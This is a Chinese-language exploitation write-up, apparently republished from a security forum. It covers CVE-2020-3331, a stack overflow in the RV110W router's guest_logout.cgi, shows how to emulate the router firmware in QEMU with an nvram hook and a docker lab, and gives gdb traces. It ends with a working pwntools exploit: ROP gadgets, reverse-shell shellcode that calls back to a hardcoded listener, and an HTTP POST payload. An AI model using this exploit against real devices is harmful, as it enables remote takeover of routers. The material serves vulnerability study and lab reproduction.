作者:lxonz@白帽匯安全研究院
原文鏈接:https://bbs.pediy.com/thread-266357.htm

此次分析是基于軒哥的文章https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/,同時因為軒哥用的是實機,很多師傅可能不想入手路由器,因此我這篇文章是針對路由器的httpd進行hook在通過qemu-system模擬啟動,我整理好的環境已經上傳至https://hub.docker.com/r/vulshare/cve-2020-3331,有需要的師傅可以自行下載,并且如果想一鍵生成環境的話,可以來http://vulfocus.fofa.so/,啟動過程可能會比較長,估摸著6分鐘以內,耐心等一下~

docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz

本地環境部署

本地環境搭建遇到的幾點問題:

1.因為沒有nvram所以不能成功啟動,因此需要hook

2.建立交叉編譯環境,將代碼作為共享庫編譯

從調試到封裝成docker的周期比較長,有些技術細節記得不太清了,可能文章思路有點跳躍,有問題的地方讀者指出就好,我這邊修正。

本次調試環境:
1.vmlinux-3.2.0-4-4kc-malta
2.debian_wheezy_mipsel_standard.qcow2

下載地址:https://people.debian.org/~aurel32/qemu/mips/

qemu啟動參數:
qemu-system-mipsel -M malta \ 
-kernel vmlinux-3.2.0-4-4kc-malta  \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

因為實際環境也是沒有aslr的,所以在這里我們直接關掉,否則沒有辦法泄露libc。

關于基本的環境搭建的具體部分可以去參考我之前的一篇文章https://nosec.org/home/detail/4634.html

chroot squashfs-root sh
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/

這里如果我們單純的啟動./http是起不來的,因為我們沒有nvram,過不了他的檢查,所以在這里我采取的hook的方法,將他的nvram_get hook掉,即可啟動,目標平臺是mipsel所以我們需要使用buildroot來搭建一個交叉編譯的環境。

sudo apt-get update
sudo apt-get install libncurses5-dev patch
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make clean
make menuconfig

image-20210305180013126

進到Target options這里面之后我們需要選他的架構和大小端序

image-20210305180237311

image-20210305180524716

在toolchain里選擇kernel版本uname -a看一下可以了,然后保存退出

然后直接make -j8編譯即可然后會生成一個output文件夾,進去找output/host/bin 運行mipsel-linux-gcc --version

mipsel-linux-gcc --version
mipsel-linux-gcc.br_real (Buildroot 2020.08-947-ga2b344a) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

有版本回顯就可以了,我們一會通過這個交叉編譯我們的nvram_get。

最后將這個路徑寫入.bashrc

export PATH=~/buildroot/buildroot/output/host/bin:$PATH

后面就可以愉快的調用了

hook nvram_get

   v34 = (char *)nvram_get("lan_ifname");
    if ( !v34 )
      v34 = "";
    v35 = (char *)nvram_get("lan_ipaddr");
    if ( !v35 )
      v35 = "";
    v36 = (char *)nvram_get("http_client_ip");
    if ( !v36 )
      v36 = "";
    v37 = (char *)nvram_get("lan_hwaddr");
    if ( !v37 )

嵌入式應用程序通常通過共享庫與NVRAM交互。該庫又與包含設備當前配置設置的MTD分區接口交互。如果沒有NVRAM配置數據,許多程序將無法正常運行,需要我們攔截NVRAM庫調用并返回有效數據,以便在Qemu中正確執行應用程序

如果我們不進行hook的話,到達漏洞觸發點,會發現V0-T9沒有任何值

0x77fb2a84 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x0
 A0   0x0
 A1   0x0
 A2   0x0
 A3   0x0
 T0   0x0
 T1   0x0
 T2   0x0
 T3   0x0
 T4   0x0
 T5   0x0
 T6   0x0
 T7   0x0
 T8   0x0
 T9   0x0
 S0   0x77aa7050
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x0
 SP   0x7fff6f40 ?— 0x1
 PC   0x77fb2a84 ?— bal    0x77fb2a8c
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77fb2a80    move   $t9, $ra
 ? 0x77fb2a84    bal    0x77fb2a8c
    ↓
   0x77fb2a8c    lui    $gp, 5
   0x77fb2a90    addiu  $gp, $gp, -0x3a7c
   0x77fb2a94    addu   $gp, $gp, $ra
   0x77fb2a98    move   $ra, $t9
   0x77fb2a9c    lw     $a0, -0x7fe8($gp)
   0x77fb2aa0    sw     $a0, -0x7ff0($gp)
   0x77fb2aa4    move   $a0, $sp
   0x77fb2aa8    addiu  $sp, $sp, -0x10
   0x77fb2aac    lw     $t0, -0x7fe4($gp)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff6f40 ?— 0x1
01:0004│     0x7fff6f44 —? 0x7fff6fea ?— '//bin/sh'
02:0008│     0x7fff6f48 ?— 0x0
... ↓
04:0010│     0x7fff6f50 ?— 0x10
05:0014│     0x7fff6f54 ?— 0x0
06:0018│     0x7fff6f58 ?— 0x6
07:001c│     0x7fff6f5c ?— 0x1000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ? f 0 77fb2a84
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gdb-peda$ 

https://blog.csdn.net/qq_21063873/article/details/103037515這篇文章有大致介紹基于qemu的nvram仿真

通過ida看它的httpd,nvram_get在獲取各種環境的值,如果我們給它lan_ipaddr寫死了是不是就可以了?nvram_get只傳了一個參數

#include <stdio.h>
#include <string.h>

char *nvram_get(char *key)
{
        char *value = NULL;

        if(strcmp(key, "lan_ipaddr") == 0)
        {
                value = strdup("127.0.0.1");
        }
        printf("nvram_get(%s) == %s\n", key, value);
        return value;
}
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so

我們將此代碼作為共享庫進行編譯

回到qemu里執行命令

chroot squashfs-root sh 
export LD_PRELOAD="./nvram.so" && ./httpd
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
出現這三個代表啟動成功

還有一種思路是通過nvram_faker啟動https://github.com/zcutlip/nvram-faker

它提供了編譯不同架構的腳本,hook思路大同小異,也可以拿這個來進行啟動

漏洞分析

漏洞點在guest_logout.cgi的sscanf

v10 = (const char *)get_cgi((int)"cip");
  v11 = (const char *)get_cgi((int)"submit_button");
  if ( !v11 )
    v11 = "";
  if ( v5 && v10 )
  {
    memset(v29, 0, 0x40u);
    memset(v28, 0, sizeof(v28));
    v12 = fopen("/dev/console", "w");
    v13 = v12;
    if ( v12 )
    {
      fprintf(v12, "\n  mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
      fclose(v13);
    }
    if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
    {
      if ( !strstr(v11, "status_guestnet.asp") )
        goto LABEL_31;
      sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
      v17 = fopen("/dev/console", "w");
      v18 = v17;
      if ( v17 )
      {
        fprintf(
          v17,
          "\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
          "guest_logout_cgi",
          5449,
          v11,
          v29,
          v28);
        fclose(v18);
      }
sscanf這里起到了一個正則的作用,v11是我們需要匹配的字符串,%[^;];%*[^=]=%[^\n]是匹配規則,V29存的是%[^;]匹配到的值,V28存的是%*[^=]=%[^\n]
%[^;]:分號前的所有字符都要
;%*[^=]:分號后,等號前的字符都不要
=%[^\n]:等號后,換行符前的所有字符都要
v11 = (const char *)get_cgi((int)"submit_button"); 
 v5 = (const char *)get_cgi((int)"cmac");
 v6 = (const char *)get_cgi((int)"cip")

斷點下在已經覆蓋了ra的位置

b *0x431b60
 V0   0x0
 V1   0x73
 A0   0x4d81f0 (post_buf+64) ?— 0x75746174 ('tatu')
 A1   0x47f785 ?— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ?— 0x6c5f5f00
 T2   0x77ee5f89 ?— jalx   0x79957c00
 T3   0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
 T4   0x77a6c64c ?— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ?— 0x4c475f00
 T8   0x77a6c40c ?— nop    
 T9   0x77a984d0 (strcoll) ?— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ?— move   $t9, $a0     //jmp $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff1348 ?— 0x61616161 ('aaaa')
 SP   0x7fff1260 —? 0x47c14c ?— 'http_client_ip'
 PC   0x431b60 (guest_logout_cgi+872) ?— jr     $ra
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x431b4c <guest_logout_cgi+852>    lw     $s3, 0xcc($sp)
   0x431b50 <guest_logout_cgi+856>    lw     $s2, 0xc8($sp)
   0x431b54 <guest_logout_cgi+860>    lw     $s1, 0xc4($sp)
   0x431b58 <guest_logout_cgi+864>    lw     $s0, 0xc0($sp)
   0x431b5c <guest_logout_cgi+868>    move   $v0, $zero
 ? 0x431b60 <guest_logout_cgi+872>    jr     $ra <0x77a8f7a0>
    ↓
   0x431b68 <guest_logout_cgi+880>    lw     $t9, -0x7cc0($gp)
   0x431b6c <guest_logout_cgi+884>    nop    
   0x431b70 <guest_logout_cgi+888>    jalr   $t9
   0x431b74 <guest_logout_cgi+892>    move   $a0, $s2

可以看到此時ra寄存器的值已經是0x77a8f7a0 就是jalr s0也被我們提前布置好了地址,覆蓋到PC可以通過cyclic算出來,但覆蓋到S0需要自己去手動調試,慢慢找它的偏移。

 V0   0x0
 V1   0x73
 A0   0x4d81f0 (post_buf+64) ?— 0x75746174 ('tatu')
 A1   0x47f785 ?— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ?— 0x6c5f5f00
 T2   0x77ee5f89 ?— jalx   0x79957c00
 T3   0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
 T4   0x77a6c64c ?— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ?— 0x4c475f00
 T8   0x77a6c40c ?— nop    
 T9   0x77a984d0 (strcoll) ?— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ?— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff13a0 ?— 0x109090c
 SP   0x7fff1348 ?— 0x61616161 ('aaaa')
 PC   0x77a8f7a0 (fclose+304) ?— addiu  $a0, $sp, 0x18
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
 ? 0x77a8f7a0 <fclose+304>    addiu  $a0, $sp, 0x18 <0x4d81f0>
    ↓
   0x77a8f7a8 <fclose+312>    jalr   $t9

   0x77a8f7ac <fclose+316>    addiu  $a1, $zero, 1
   0x77a8f7b0 <fclose+320>    lw     $gp, 0x10($sp)
   0x77a8f7b4 <fclose+324>    lhu    $v0, ($s1)
   0x77a8f7b8 <fclose+328>    andi   $v0, $v0, 0x4000
   0x77a8f7bc <fclose+332>    beqz   $v0, fclose+360 <0x77a8f7d8>

   0x77a8f7c0 <fclose+336>    lw     $a2, -0x778c($gp)
   0x77a8f7c4 <fclose+340>    lw     $t9, -0x77ac($gp)
   0x77a8f7c8 <fclose+344>    jalr   $t9

   0x77a8f7cc <fclose+348>    lw     $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff1348 ?— 0x61616161 ('aaaa')
... ↓
06:0018│     0x7fff1360 ?— 0x2804ffff
... ↓

這里是把$sp+0x18的位置給a0寄存器,也就是我們要跳的最后位置

Python 2.7.12 (default, Oct  5 2020, 13:56:01) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fff1348+0x18))
0x7fff1360
看了下地址0x7fff1360沒毛病
gdb-peda$ x/20wx 0x7fff1348
0x7fff1348: 0x61616161  0x61616161  0x61616161  0x61616161
0x7fff1358: 0x61616161  0x61616161  0x2804ffff  0x2804ffff
0x7fff1368: 0x24020fa6  0x0109090c  0x28041111  0x24020fa6
0x7fff1378: 0x0109090c  0x240cfffd  0x01802027  0x24020fa6
0x7fff1388: 0x0109090c  0x240cfffd  0x01802027  0x01802827
gdb-peda$ x/20wx 0x7fff1348+0x18
0x7fff1360: 0x2804ffff  0x2804ffff  0x24020fa6  0x0109090c
0x7fff1370: 0x28041111  0x24020fa6  0x0109090c  0x240cfffd
0x7fff1380: 0x01802027  0x24020fa6  0x0109090c  0x240cfffd
0x7fff1390: 0x01802027  0x01802827  0x2806ffff  0x24021057
0x7fff13a0: 0x0109090c  0x3044ffff  0x24020fc9  0x0109090c
gdb-peda$ x/20i 0x7fff1348+0x18
   0x7fff1360:  slti    a0,zero,-1
   0x7fff1364:  slti    a0,zero,-1
   0x7fff1368:  li  v0,4006
   0x7fff136c:  syscall 0x42424
   0x7fff1370:  slti    a0,zero,4369
   0x7fff1374:  li  v0,4006
   0x7fff1378:  syscall 0x42424
   0x7fff137c:  li  t4,-3
   0x7fff1380:  nor a0,t4,zero
   0x7fff1384:  li  v0,4006
   0x7fff1388:  syscall 0x42424
   0x7fff138c:  li  t4,-3
   0x7fff1390:  nor a0,t4,zero
   0x7fff1394:  nor a1,t4,zero
   0x7fff1398:  slti    a2,zero,-1
   0x7fff139c:  li  v0,4183
   0x7fff13a0:  syscall 0x42424
   0x7fff13a4:  andi    a0,v0,0xffff
   0x7fff13a8:  li  v0,4041
   0x7fff13ac:  syscall 0x42424

這里是比較關鍵的一步在棧頂+0x18的位置,將shellcode的第一條指令多寫了一份,因為在調試的過程中發現,slti a0,zero,-1這條指令會被莫名奇妙吞掉,所以多寫了一條指令,來繞過這個奇怪的機制,實際測試過程中遇到\x00也會給截斷,所以也需要繞00,這里測試過我的msf生成的是有00的,所以直接用軒哥推薦的shellcodeLinux/mips - Reverse Shell Shellcode - 200 bytes by Jacob Holcomb

V0   0x0
 V1   0x73
 A0   0x7fff1360 ?— 0x2804ffff
 A1   0x47f785 ?— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ?— 0x6c5f5f00
 T2   0x77ee5f89 ?— jalx   0x79957c00
 T3   0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
 T4   0x77a6c64c ?— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ?— 0x4c475f00
 T8   0x77a6c40c ?— nop    
 T9   0x77a984d0 (strcoll) ?— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ?— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff13a0 ?— 0x109090c
 SP   0x7fff1348 ?— 0x61616161 ('aaaa')
 PC   0x77a8f7a4 (fclose+308) ?— move   $t9, $s0
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77a8f7a0 <fclose+304>    addiu  $a0, $sp, 0x18
 ? 0x77a8f7a4 <fclose+308>    move   $t9, $s0
    ↓
   0x77a8f7ac <fclose+316>    addiu  $a1, $zero, 1
   0x77a8f7b0 <fclose+320>    lw     $gp, 0x10($sp)
   0x77a8f7b4 <fclose+324>    lhu    $v0, ($s1)
   0x77a8f7b8 <fclose+328>    andi   $v0, $v0, 0x4000
   0x77a8f7bc <fclose+332>    beqz   $v0, fclose+360 <0x77a8f7d8>

   0x77a8f7c0 <fclose+336>    lw     $a2, -0x778c($gp)
   0x77a8f7c4 <fclose+340>    lw     $t9, -0x77ac($gp)
   0x77a8f7c8 <fclose+344>    jalr   $t9

   0x77a8f7cc <fclose+348>    lw     $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff1348 ?— 0x61616161 ('aaaa')
... ↓
06:0018│ a0  0x7fff1360 ?— 0x2804ffff
... ↓
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ? f 0 77a8f7a4 fclose+308

到這里a0已經變成了我們想要的地址了

0x77aa7058 in xdr_free () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x7fff1360 ?— 0x0
 A1   0x1
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ?— 0x6c5f5f00
 T2   0x77ee5f89 ?— jalx   0x79957c00
 T3   0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
 T4   0x77a6c64c ?— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ?— 0x4c475f00
 T8   0x77a6c40c ?— nop    
 T9   0x7fff1360 ?— 0x0
 S0   0x77aa7050 (xdr_free+16) ?— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff1380 ?— 0x1802027
 SP   0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
 PC   0x77aa7058 (xdr_free+24) ?— jalr   $t9
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77aa7050 <xdr_free+16>    move   $t9, $a0
   0x77aa7054 <xdr_free+20>    sw     $v0, 0x18($sp)
 ? 0x77aa7058 <xdr_free+24>    jalr   $t9

   0x77aa705c <xdr_free+28>    addiu  $a0, $sp, 0x18
   0x77aa7060 <xdr_free+32>    lw     $gp, 0x10($sp)
   0x77aa7064 <xdr_free+36>    lw     $ra, 0x30($sp)
   0x77aa7068 <xdr_free+40>    jr     $ra

   0x77aa706c <xdr_free+44>    addiu  $sp, $sp, 0x38
   0x77aa7070 <xdr_void>       jr     $ra

   0x77aa7074 <xdr_void+4>     addiu  $v0, $zero, 1
   0x77aa7078 <xdr_long>       lw     $v1, ($a0)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp     0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9  0x7fff1360 ?— 0x0
07:001c│        0x7fff1364 ?— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ? f 0 77aa7058 xdr_free+24
──────────────────────────────────────────
0x7fff1364 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x7fff1360 ?— 0x0
 A1   0x1
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ?— 0x6c5f5f00
 T2   0x77ee5f89 ?— jalx   0x79957c00
 T3   0x77ff5a60 —? 0x77a6a000 ?— 0x464c457f
 T4   0x77a6c64c ?— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ?— 0x4c475f00
 T8   0x77a6c40c ?— nop    
 T9   0x7fff1360 ?— 0x0
 S0   0x77aa7050 (xdr_free+16) ?— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x0
 SP   0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
 PC   0x7fff1364 ?— 0x2804ffff
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x7fff1360    nop    
 ? 0x7fff1364    slti   $a0, $zero, -1
    ↓
   0x7fff136c    syscall 0x42424
   0x7fff1370    slti   $a0, $zero, 0x1111
   0x7fff1374    addiu  $v0, $zero, 0xfa6
   0x7fff1378    syscall 0x42424
   0x7fff137c    addiu  $t4, $zero, -3
   0x7fff1380    not    $a0, $t4
   0x7fff1384    addiu  $v0, $zero, 0xfa6
   0x7fff1388    syscall 0x42424
   0x7fff138c    addiu  $t4, $zero, -3
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp     0x7fff1348 ?— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9  0x7fff1360 ?— 0x0
07:001c│ pc     0x7fff1364 ?— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ? f 0 7fff1364

成功執行shellcode,拿到shell

image-20210305164934218

#coding:UTF-8
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux', log_level='debug')
io     = listen(31337)
libc   = 0x77a6a000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 

shellcode =  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=  "syscall 0x42424\n"
shellcode +=  "slti $a0, $zero, 0x1111\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=   "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=    "not $a1, $t4\n"
shellcode +=    "slti $a2, $zero, 0xFFFF\n"
shellcode +=   "li $v0, 4183\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=     "andi $a0, $v0, 0xFFFF\n"
shellcode +=     "li $v0, 4041\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=    "li $v0, 4041\n"
shellcode +=    "syscall 0x42424\n"
shellcode +=     "lui $a1, 0x6979\n"
shellcode +=     "ori $a1, 0xFF01\n"
shellcode +=     "addi $a1, $a1, 0x0101\n"
shellcode +=     "sw $a1, -8($sp)\n"
shellcode +=    "li $a1, 0x010A0A0A\n"   #這里是需要改的IP地址
shellcode +=     "sw $a1, -4($sp)\n"
shellcode +=     "addi $a1, $sp, -8\n"
shellcode +=     "li $t4, 0xFFFFFFEF\n"
shellcode +=     "not $a2, $t4\n"
shellcode +=     "li $v0, 4170\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=     "lui $t0, 0x6962\n"
shellcode +=     "ori $t0, $t0,0x2f2f\n"
shellcode +=      "sw $t0, -20($sp)\n"
shellcode +=     "lui $t0, 0x6873\n"
shellcode +=      "ori $t0, 0x2f6e\n"
shellcode +=      "sw $t0, -16($sp)\n"
shellcode +=      "slti $a3, $zero, 0xFFFF\n"
shellcode +=      "sw $a3, -12($sp)\n"
shellcode +=     "sw $a3, -4($sp)\n"
shellcode +=     "addi $a0, $sp, -20\n"
shellcode +=     "addi $t0, $sp, -20\n"
shellcode +=      "sw $t0, -8($sp)\n"
shellcode +=      "addi $a1, $sp, -8\n"
shellcode +=      "addiu $sp, $sp, -20\n" 
shellcode +=     "slti $a2, $zero, 0xFFFF\n"
shellcode +=      "li $v0, 4011\n"
shellcode +=     "syscall 0x42424" 

shell = asm(shellcode)


# 覆蓋s0 覆蓋ra 最后將shellcode寫進sp+0x18的位置
# 先jmp到s0在jmp到a0執行shellcode
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shell  
#payload = "status_guestnet.asp"+'a'*49+p32(0xdeadbeef)                                 
paramsPost = {
            "cmac":"7a:29:9f:d3:d2:6e",
            "submit_button":payload,
            "cip":"192.168.1.1",
            }

def attack():
    try: 
        requests.post("http://10.10.10.3/guest_logout.cgi", data=paramsPost, verify=False)
    except: 
        pass

thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
#10A0A0A -> 10.10.10.1 LSB
#0x77aa7050 jalr $a0
#0x77a8f7a0 jalr $s0

shellcode我是改的回連地址,然后利用pwntools把匯編轉成二進制在打進去,算是在軒哥的exp上做了些改動,感興趣的師傅可以自己去調一下。

docker搭建固件靶場環境

最后的docker環境部署,其實大概的架構是這樣的

image-20210308152626694

將qemu_system里的端口映射到docker里面,在從docker端口轉發到宿主機,然后外網就能訪問到qemu_system里的服務了,因為要外網訪問,所以我們不使用方便調試的tap模式,直接使用net模式,啟動腳本如下:

qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::80-:80,hostfwd=tcp::31337-:31337,hostfwd=tcp::1234-:1234 -nographic 

轉發了三個端口,一個是httpd的80,回連的31337,gdb調試的1234。

然后在qemu里寫好啟動腳本

#!/bin/sh
chroot squashfs-root sh start.sh
#!/bin/sh
export LD_PRELOAD="./nvram.so" && ./httpd    //start.sh的內容

放到rc.local里面,就能自啟動了。

在將文件提前保存進docker鏡像里,然后寫好dockerfile,打包上傳至dockerhub即可

FROM vulshare/cve-2020-3331:lxonz
LABEL Author="lxonz"

WORKDIR /home/root/qemu_system_mipsel

CMD [ "/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh" ]

EXPOSE 31137
EXPOSE 80
EXPOSE 1234

這里要寫好轉發的端口,最后通過-P參數啟動。

最后呢,因為qemu里我轉發了1234端口,但是docker里沒轉發,如果想要調試的師傅可以自己轉發一下

參考鏈接

[1] https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

[2] https://blog.csdn.net/qq_21063873/article/details/103037515

[3] https://nosec.org/home/detail/4458.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1506/